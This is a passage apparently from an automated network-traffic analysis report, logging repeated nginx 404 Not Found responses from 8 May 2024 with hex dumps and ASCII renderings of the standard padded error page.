6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:20 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:23 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:26 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:29 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:31 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:50 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:53 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:55 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:24:28 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 